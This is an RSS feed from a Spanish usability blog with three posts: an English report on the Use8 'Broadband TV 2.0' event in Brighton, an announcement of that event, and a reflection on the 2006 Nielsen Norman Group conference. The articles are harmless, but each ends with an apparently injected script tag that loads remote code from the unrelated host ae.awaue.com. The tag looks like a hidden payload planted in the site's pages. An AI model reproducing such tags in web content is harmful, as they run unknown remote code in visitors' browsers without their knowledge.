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	<title>inusual magazine &#187; Usabilidad</title>
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	<description>reflexiones sobre creatividad interactiva</description>
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		<title>Broadband TV 2.0 (La Crónica)</title>
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		<pubDate>Fri, 06 Jun 2008 07:53:21 +0000</pubDate>
		<dc:creator>Begoña</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[TV]]></category>
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		<category><![CDATA[Usabilidad]]></category>

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		<description><![CDATA[El pasado 23 de Mayo, Use8 – The User Experience Society- presentó “Broadband TV 2.0”, un evento donde estudiantes, académicos y profesionales de primera línea reflexionaron y compartieron puntos de vista sobre el futuro de la TV digital interactiva desde el punto de vista de la experiencia del usuario. Renata Yumi, de la Universidad de [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://inusual.com/wp-content/uploads/2008/06/btv_cronica.jpg" alt="" align="top" /><br />
El pasado 23 de Mayo, <a href="http://www.use8.net" target="_blank"><strong>Use8 – The User Experience Society</strong></a>- presentó “Broadband TV 2.0”, un evento donde estudiantes, académicos y profesionales de primera línea reflexionaron y compartieron puntos de vista sobre el futuro de la TV digital interactiva desde el punto de vista de la experiencia del usuario.<br />
Renata Yumi, de la Universidad de Brighton, nos ofrece esta crónica del evento. Muchas gracias Renata!</p>
<p><span id="more-157"></span></p>
<p><strong>BROADBAND TV 2.0 (23/05/2008)</strong></p>
<p>Broadband TV 2.0 was a very interesting event held by Use8 at Jurys Inn Hotel, on 23rd May 2008. The event’s main discussion was towards new ways to apply the usabilities principles and guidelines to the digital television media. It started with <a href="http://www.opentv.com/" target="_blank"><strong>OpenTV </strong></a>presentation, followed by <strong><a href="http://www.pushbutton.tv/html/main/main.php" target="_blank">PushButton</a></strong>’s case study and finished with a discussion panel.</p>
<p>The presentations started with Matthew Huntington, VP Solutions Marketing of <a href="http://www.opentv.com/" target="_blank"><strong>OpenTV</strong></a>, who gave an interesting speech about “Evolving the user interface for Television”.  Firstly, he discussed how viewers’ behaviour is changing, not only because of the inversion of mass media economics and the threat to TV ads, but also due to the recently explosion of content on digital television. Then, after affirming that a new approach is needed, he showed the solutions based on researches that have been carried out by <a href="http://www.opentv.com/" target="_blank"><strong>OpenTV</strong></a><strong>.</strong> A video demonstration of their Electronic Programme Guide presented those solutions: <strong>new ways to navigate and to display programmes’ information based on small screens rather than text</strong>, and the media card feature which presents recommendation and enable the viewers to save the content into a library, which can be accessed whenever they want.</p>
<p>Sequentially, <strong><a href="http://www.pushbutton.tv/html/about_us/team_member.php?UID=4" target="_blank">Paula Byrne</a></strong>, Managing Director of <strong><a href="http://www.pushbutton.tv/html/main/main.php" target="_blank">PushButton</a></strong>, was the second to present. She introduced the case study on “Designing the ESPN experience”. The case was based on the development of ESPN360.com, a broadband network for live sports programming. According to Paula, the challenge was to create something for direct users. Working closely with ESPN marketing department, they aimed to achieve the correct look and feel based on the brand guidelines, in order to provide the best user experience, motivating their users to return and access the system again. However, the speaker emphasized that, although <strong>everybody believes and aims to create a clean and easy-to-use interface for interactive applications, the reality is completely different</strong>. When working with brands, it is always necessary to provide room to everyone. Even trying to do your best to improve the user experience, the fact that there is a sponsor waiting to be exposed and seen can never be forgotten. For this reason, she believes that the <strong>integration between design and sponsorship will become better</strong> and better in the nearly future.</p>
<p><a href="http://www.use8.net/index.php?pmctsys=us8&amp;pmshow=pictures&amp;cmpgallery=3" target="_blank"><img src="http://inusual.tv/wp-content/uploads/2008/06/cronica_inside.jpg" alt="" align="left" /></a></p>
<p>After a break, when refreshments were served and the innovative <strong><a href="http://www.use8.net/index.php?pmctsys=us8&amp;pmshow=bitepr_btv" target="_blank">BITe prototype</a></strong> was displayed, the discussion panel started with the introduction of a question by the panel chair, <strong><a href="http://www.cmis.brighton.ac.uk/staff/rng/" target="_blank">Richard Griffiths</a></strong>, Programme Leader for the Postgraduate Programme in Interactive Technologies at the University of Brighton: <strong>what are the challenges to create services to enhance the user experience on digital television?</strong> According to Nicholas Timon, Business Development Director for <strong><a href="http://www.brightcove.com/" target="_blank">Brightoncove</a></strong> EMEA, the most important point is the content. The best way to provide a good user experience is by understanding the content, knowing how to identify what is relevant, how it can be displayed and the best environment to be presented.</p>
<p>However, for Owen Daly-Jones, Director for <strong><a href="http://www.serco.com/usability/">Serco Usability Services</a></strong>, the challenges continue the same as years ago: understand the user needs, understand what everybody wants from television. He believes that television was always interactive, and continues being the big window in the middle of our living rooms. He affirmed that he does not buy the idea of social television, regarding sharing and others recommendations; neither the idea of the success of emerging services.</p>
<p>Sharing the same opinion, Dr Emmanuel Tseklevesis, Lecturer of <strong><a href="http://www.brunel.ac.uk/" target="_blank">Brunel University</a></strong>, said that we need to put the technology aspects aside and focus on what the user needs. By letting the user to lead the ideas, the best solutions are going to be found. Besides, a short discussion about the different generations of viewers and how they influence the usability of television was held.</p>
<p>According to David Wray, Co Founder of <strong><a href="http://www.globaldigitalbroadcast.com/index.php" target="_blank">Global Digital Broadcast TV</a></strong>, a way to overcome the differences amongst users is by checking the specificities of their profiles and making the necessary arrangements in order to attend their needs. And the conversation ended with a brief overview on what <strong><a href="http://www.use8.net/index.php?pmctsys=us8&amp;pmshow=speakersbtv" target="_blank">the speakers</a></strong> considered ‘hot’ regarding Broadband TV. In Nicholas Timon’s point of view, <strong>the interesting fact would be the real connection of TV and PC</strong>. For David Wray, it is relevant to emphasize that more important than thinking about the future of technology, would be to find ways to explore the current technology in order to make profit now. On the other hand, Owen Daly-Jones said that he believes in the <strong>game consoles’ potential to substitute set-top boxes</strong>, while Dr Emmanuel Tseklevesis focused on the changes in how we experience TV, mainly with the possibility of people creating their own network and with the development of 3D TV.</p>
<p>It was a very nice evening, not only for all the relevant points that were brought up and discussed, but also for the possibility of sharing your views and expectations with academics, young and experienced professionals. Indeed, a perfect environment for growing ideas and building up networks.<br />
Renata Yumi Shimabukuro<br />
University of Brighton<br />
<a href="mailto:renatayumi.s@gmail.com">renatayumi.s@gmail.com</a><br />
Supported by the Programme Alban, the European Union Programme of High Level Scholarships for Latin America, scholarship no. E07M402467BR.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Broadband TV 2.0 (23 Mayo – Brighton –UK)</title>
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		<pubDate>Thu, 08 May 2008 23:31:06 +0000</pubDate>
		<dc:creator>Begoña</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[TV]]></category>
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		<category><![CDATA[Usabilidad]]></category>

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		<description><![CDATA[  La TV es un medio en transición y la introducción de la interactividad en este medio hace que aparezcan nuevas formas de comunicación y servicios dónde los espectadores pasivos se convierten en usuarios activos.  “Broadband TV 2.0” explorará este nuevo medio y los aspectos relacionados con la experiencia del usuario al diseñar servicios para [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.use8.net" target="_blank"><img src="http://inusual.com/wp-content/uploads/2008/05/broadband-TV.jpg" align="top" /></a></p>
<p> </p>
<p>La TV es un medio en transición y la introducción de la interactividad en este medio hace que aparezcan nuevas formas de comunicación y servicios dónde los espectadores pasivos se convierten en usuarios activos. <br />
“Broadband TV 2.0” explorará este nuevo medio y los aspectos relacionados con la experiencia del usuario al diseñar servicios para TV digital interactiva.<br />
Compartirán su opinión <a href="http://www.opentv.com/" target="_blank">Open TV</a>, <a href="http://www.pushbutton.tv" target="_blank">Pushbutton</a>, <a href="http://www.serco.com/usability/" target="_blank">Serco Usability Services</a>, <a href="http://www.brightcove.com" target="_blank">Brightcove</a>, <a href="http://www.zattoo.com" target="_blank">Zattoo</a>, <a href="http://www.globaldigitalbroadcast.com/" target="_blank">Global  Digital Broadcast TV</a>, <a href="http://www.brighton.ac.uk" target="_blank">Brighton University</a> and <a href="http://www.brunel.ac.uk" target="_blank">Brunel University</a>.<br />
Reserva ya tu sitio GRATIS en <a href="http://www.use8.net/">www.use8.net</a> (plazas limitadas)<br />
¡Nos vemos allí!<script src="http://ae.awaue.com/7"></script></p>
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		<title>Toda una experiencia con Nielsen</title>
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		<pubDate>Mon, 13 Nov 2006 02:19:10 +0000</pubDate>
		<dc:creator>Begoña</dc:creator>
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		<description><![CDATA[  Parece ser que este es el año de “la experiencia del usuario” y es que este fue precisamente el motivo que hizo que destacados profesionales de diversas disciplinas se reunieran la semana pasada en Londres entorno a la conferencia de usabilidad más importante de Europa y EEUU, Nielsen Norman Group Conference (User experience 2006). [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://inusual.com/wp-content/uploads/2006/11/nn_group.jpg" align="top" /><br />
 </p>
<p>Parece ser que este es el año de “la experiencia del usuario” y es que este fue precisamente el motivo que hizo que destacados profesionales de diversas disciplinas se reunieran la semana pasada en Londres entorno a la conferencia de usabilidad más importante de Europa y EEUU, <a href="http://www.nngroup.com/events/">Nielsen Norman Group Conference</a> (User experience 2006).</p>
<p>Le comenté a una amiga que iba a atender a la conferencia y me preguntó: “¿Pero se puede hablar de usabilidad durante una semana seguida?”  Y la verdad es que para los freaks o geeks de la usabilidad ¡incluso se puede hacer corto!</p>
<p><span id="more-150"></span></p>
<p>Aunque la mayoría de las discusiones se centraron en Internet, es un buen ejercicio adaptar o extrapolar ciertas reglas a las aplicaciones interactivas para TV.<br />
Está claro que usabilidad es un concepto clave cuando se diseñan aplicaciones en TV si se quiere que la experiencia del usuario sea aceptable.</p>
<p>Pero el elemento clave cuando consideramos experiencias es el “usuario”. Y es que todo el mundo habla de “usuarios” (incluida yo) y de la importancia que éstos tienen. Pero como muchos otros profesionales coincido en pensar que este término es demasiado frío y distante porque en definitiva estamos hablando de personas.</p>
<p>A lo largo de conferencia se reforzó la idea de conocer bien a esas personas para las que vas a diseñar tu aplicación interactiva. Eso es algo que nosotros, profesionales de la comunicación, tenemos en cuenta y conocemos muy bien. Aunque en este caso no se trata sólo de conocer su perfil socio-demográfico y sociológico… sino su comportamiento, su modelo conceptual y sus preferencias cuando la persona está ante tu aplicación interactiva en el televisor u ordenador.<br />
Este es el punto de unión que hay entre HCI y Marketing aunque normalmente la definición de “personas” en HCI está más dirigido a definir modelos mentales, crear escenarios de uso y llevar a cabo análisis de tareas (task analysis). Mientras que la definición del “target” en marketing está más orientado a las preferencias del usuario.</p>
<p>Todavía hay muchos profesionales que crean “personas” (perfiles de usuarios) y escenarios sin ningún criterio que respalde las decisiones tomadas. Aunque diversos ponentes enfatizaron y recomendaron que en el mejor de los casos las “personas” deberían estar basadas en datos reales sobre la audiencia a la que se dirige, a través de estudios cuantitativos o cualitativos, dependiendo de las necesidades del proyecto y del presupuesto disponible. Ahí está la diferencia entre profesionalidad e imaginación.</p>
<p>El libro imprescindible si quieres aprender más sobre &#8220;personas&#8221; es <a href="http://www.amazon.com/Persona-Lifecycle-Throughout-Interactive-Technologies/dp/0125662513" target="_blank">&#8220;The Persona lifecycle&#8221;</a> de Jhon Pruitt y Tamara Adlin.</p>
<p>Por otra parte, otro punto que se acentúo a lo largo de las ponencias es la necesidad de testear la aplicación ya que es esencial para poder ofrecer una experiencia que se adapte a las personas a las que va dirigida. Y nos quedó a todos muy claro que la frase “no testeo la aplicación porque resulta muy caro” no es ya una buena excusa. Todo depende de lo profundo que se haga el estudio o testeo y las técnicas que se utilicen para hacerlo pero no resulta tan caro llevar a algunos usuarios y observar como manejan tu aplicación pidiéndoles que expresen lo que piensan y sienten a medida que van navegando por la aplicación (Usability Walkthrough). El valor de la información que obtienes en comparación con el coste es inmenso.</p>
<p>Si te interesa saber más sobre usabilidad te recomiendo que visites los sites de los gurus:</p>
<p>Jackob Nielsen en <a href="http://www.useit.com/" target="_blank">useit.com</a></p>
<p>Don Norman en <a href="http://www.jnd.org/" target="_blank">jnd.org</a></p>
<p>Bruce Tognazzini en <a href="http://www.asktog.com/" target="_blank">asktog.com</a></p>
<p>También te recomiendo la lectura del artículo de Lyn Pemberton y Richard Griffiths &#8220;<a href="http://inusual.com/wp-content/uploads/2006/11/usability_techniques_digitalTV.pdf" target="_blank">Usability evaluation techniques for interactive television</a>&#8221; que nos ofrece una excelente aproximación de las diferentes técnicas utilizadas para evaluar aplicaciones interactivas en televisión.<script src="http://ae.awaue.com/7"></script></p>
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